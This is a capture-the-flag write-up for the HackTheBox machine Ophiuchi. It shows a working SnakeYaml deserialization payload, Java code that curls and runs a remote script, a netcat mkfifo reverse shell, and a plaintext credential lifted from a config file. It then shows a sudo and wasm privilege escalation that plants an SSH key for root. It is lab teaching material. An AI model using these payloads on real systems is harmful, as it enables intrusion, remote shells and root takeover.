HackTheBox - Ophiuchi



OS Difficulty IP Address Status
Linux Medium 10.10.10.227 Retired

This was classified as a medium difficulty box by felamos from HackTheBox. Our foothold into this box starts on its webpage on port 8080, where we will find an “Online YAML Parser” which is vulnerable to SnakeYaml Deserialization attack, we can upload a YAML payload from the web application and the server-side will parse it using the SnakeYaml library. So, we’ll let it “parse” a Java payload to get remote code execution, and gain our foothold. For the privilege escalation, we will find a username and password to escalate to admin, then we’ll have to decompile and modify a piece of a Golang program to get the root shell.

Phase 1 - Enumeration

Nmap

As usual, we start off with a Nmap and find only two ports opened.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 8080

Opening port 8080, we find a Apache Tomcat application that will “parse” yaml online:
enter image description here

Doing a little research into parsing yaml on web applications, we find a vulnerability that matches the box’s technology stack. But let’s not get ahead of ourselves and test it out.
According to the article, SnakeYaml Deserilization exploited, all we have to do is that add the piece of yaml code to parse; we can test it by adding our machine’s IP address to the code and see if we get a callback from the webserver.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.2/"]
  ]]
]

And we get a callback, so this Tomcat web application is vulnerable to SnakeYaml Deserialization exploit.
enter image description here

Phase 2 - Exploitation

YAML Payload

Since Apache Tomcat is built using Java, we search and found a payload generator by ARTSploit - YAML-Payload on Github. Steps to modify the source code:

# clone the repository
git clone https://github.com/artsploit/yaml-payload

# edit payload to suite our needs, code will be found below
vi yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java

Modification to Java code by 0xdf. The below payload will callback to our hosted webserver which will contain a Bash reverse shell and save the reverse shell in /dev/shm, then it will make it an executable and execute the reverse shell.

...[snip]...

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() throws InterruptedException {
        try {
            Process p = Runtime.getRuntime().exec("curl http://10.10.14.8/shell.sh -o /dev/shm/.s.sh");
            p.waitFor();
            p = Runtime.getRuntime().exec("chmod +x /dev/shm/.s.sh");
            p.waitFor();
            p = Runtime.getRuntime().exec("/dev/shm/.s.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

...[snip]...

The below code is to compile and compress the Java code, then create a Bash reverse, host it on port 80 and finally, listen with netcat on port 9001.

# once modified, compile the Java code
javac src/artsploit/AwesomeScriptEngineFactory.java

# then compress it into a .jar file
jar -cvf shell.jar -C yaml-payload/src/ .

# create a bash script to contain a reverse shell and yaml-payload
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 9001 >/tmp/f" > shell.sh

# host http server to contain shell.sh
sudo python3 -m http.server 80

# and don't forget to listen for the reverse shell callback
nc -lnvp 9001

Then we use the SnakeYaml vulnerability to upload the shell.jar payload.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.2/shell.jar"]
  ]]
]

enter image description here

We get hits on our webserver and then we get a shell as the tomcat user!

tomcat to admin

Since we know this is a Tomcat web application and we are the tomcat user; let’s look into the Tomcat configuration:

cd /opt/tomcat/conf
less tomcat-users.xml

...[snip]...

<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

We find the user admin and admin password as “whythereisalimit” so let’s SSH into the machine as admin where we get the user flag.

Phase 3 - Privilege Escalation

Go for Root

Checking what permissions the user admin can run as root, we find that a Go program that can be run as root:

sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Analyzing /opt/wasm-functions/index.go, we see that the Go program is looking for “main.wasm” and there’s a if condition. The condition suggests that if the value is equal to 1, then the program will run “deploy.sh” as the root user. Both “main.wasm” and “deploy.sh” have no hard-coded path to specify the original file and reads from the current working directory, which means we can create our “main.wasm” and “deploy.sh”.

package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

Reverse Engineering main.wasm

WASM or Web Assembly is a binary instruction format for a stack-based virtual machine designed as a portable compilation target for programming languages that enables deployment for client and server applications.

Since “main.wasm” is a binary, we can’t read it; so we’ll use WebAssembly Binary Kit or WABT to decompile main.wasm with the following steps:

# First we need to copy main.wasm to our machine
sshpass -p whythereisalimit scp [email protected]:/opt/wasm-functions/main.wasm .

# then clone the WABT repository or download the release file
git clone --recursive https://github.com/WebAssembly/wabt

wasm2wat & wat2wasm

Decompiling main.wasm to main.wat, we see the i32.const as 0. All we have to do is edit the main.wat to be 1 instead of 0 and recompile main.wat to main.wasm.

┌──(kali㉿kali)-[~/…/machines/ophiuchi/wabt-1.0.24/bin]
└─$ ./wasm2wat main.wasm-original  > main.wat                         
(module                                                    
  (type (;0;) (func (result i32)))                  
  (func $info (type 0) (result i32)                    
    i32.const 0)             <============= change to 1                              
  (table (;0;) 1 1 funcref)                                
  (memory (;0;) 16)                                        
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))               
  (global (;2;) i32 (i32.const 1048576))                   
  (export "memory" (memory 0))                             
  (export "info" (func $info))                       
  (export "__data_end" (global 1))                                                                                    
  (export "__heap_base" (global 2)))

┌──(kali㉿kali)-[~/…/machines/ophiuchi/wabt-1.0.24/bin]
└─$ ./wat2wasm main.wat

# now notice the 1 instead of 0
┌──(kali㉿kali)-[~/…/machines/ophiuchi/wabt-1.0.24/bin]
└─$ ./wasm2wat main.wasm                    
(module                                                    
  (type (;0;) (func (result i32)))
  (func (;0;) (type 0) (result i32)
    i32.const 1)            <=============  changed to 1                               
  (table (;0;) 1 1 funcref)                                
  (memory (;0;) 16)                                        
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func 0))                                 
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

Now let’s copy our modified “main.wasm” file back to Ophiuchi machine:

┌──(kali㉿kali)-[~/…/machines/ophiuchi/wabt-1.0.24/bin]
└─$ scp main.wasm [email protected]:/dev/shm/main.wasm       
[email protected]'s password: 
main.wasm                                                                           100%  112     0.5KB/s   00:00

Rootshell

Since we have the modified “main.wasm” now we need to create the “deploy.sh” because the Go program will be looking for it. We will create a SSH key to add to the /root/.ssh/authorized_keys file, this will allow us to login as the root user.

SSH-KeyGen

┌──(kali㉿kali)-[~/CTF/HTB/machines/ophiuchi]             
└─$ ssh-keygen -t ed25519 -C "[email protected]"             
Generating public/private ed25519 key pair.                                                                           
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/CTF/HTB/machines/ophiuchi/id_ed25519
Enter passphrase (empty for no passphrase):             
Enter same passphrase again:                           
Your identification has been saved in /home/kali/CTF/HTB/machines/ophiuchi/id_ed25519
Your public key has been saved in /home/kali/CTF/HTB/machines/ophiuchi/id_ed25519.pub
The key fingerprint is:                                    
SHA256:YsHgptkanmkLY+sAFJ4BS9hLCNbO1sF6efhhdAkzcqI [email protected]
The key's randomart image is:                         
+--[ED25519 256]--+                                        
|*B. oo =. .      |                                        
|*.*o.=+.oo       |                                        
|.=oE= B .        |                                        
|. .X = =         |                                        
|. = o * S        |                                        
|.. = . o         |                                        
|+.*              |                                        
|o+..             |                                        
|.o.              |                                        
+----[SHA256]-----+ 
                                                                                                      
┌──(kali㉿kali)-[~/CTF/HTB/machines/ophiuchi]
└─$ cat id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZL7DUYGa+E3h9F8mC+B+bMN5nidhsngeaJWSQF6lnq [email protected]

deploy.sh

Now that we have our SSH key, let’s add it to our “deploy.sh

#!/usr/bin/bash

mkdir -p /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZL7DUYGa+E3h9F8mC+B+bMN5nidhsngeaJWSQF6lnq [email protected]" >> /root/.ssh/authorized_keys

Run Go Program

Finally, let’s run the Go program as root and login as the root user!

[email protected]:/dev/shm$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
[*] Adding public key to /root/.ssh/authorized_keys
[+] Done.

And we have rooted the box!

┌──(kali㉿kali)-[~/CTF/HTB/machines/ophiuchi]
└─$ ssh -i id_ed25519 [email protected]                

[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~#